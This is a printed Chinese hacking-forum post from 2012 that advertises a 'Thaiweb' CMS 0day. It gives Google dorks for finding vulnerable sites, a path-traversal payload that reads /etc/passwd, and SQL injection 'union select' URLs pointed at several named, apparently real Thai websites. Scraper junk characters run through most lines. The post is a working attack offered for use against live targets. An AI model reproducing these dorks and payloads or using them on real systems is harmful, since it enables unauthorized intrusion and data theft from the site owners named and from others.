中国网络渗透测试联盟

标题: Thaiweb远程文件sql注入漏洞0day [打印本页]
作者: admin    时间: 2012-12-27 08:38
标题: Thaiweb远程文件sql注入漏洞0day
Google之:
( Z9 P2 `6 [- R# @% f0 t) i$ b) `" l
intext:powered by Thaiweb. c. r" u! w/ x2 G; o4 _7 b! s
$ |( v$ l  ~5 M2 a  K: w: x% T5 H
inurl:index.php?page=board.php1 L0 [' H' I8 m3 l4 E+ [  Y

& Q. P# I2 M; }" H3 S1 E - b# o/ ?6 b# W3 S, p

6 N* p% E4 y( Z" c3 w利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
( C1 F- `6 F$ {1 y* ?  ?7 k% Z! C3 Q6 s- N9 `
* V( Q( p" k0 I1 [- V

( F; w4 Y) }! e9 `( P利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
! N& `' @6 O8 f& Y+ n4 a$ q, t9 L, q
& m' i; K' L  C
) R9 m$ y' o7 J. ?, b% I
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--3 m8 d4 H+ P, g

' H, w! q1 y, Q# f. g4 ~http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--# \# x8 |  s1 y. I4 T" H: S
0 l. P) m3 M2 T/ d% _
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
% m% \7 G1 V: {3 ~; S7 \



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2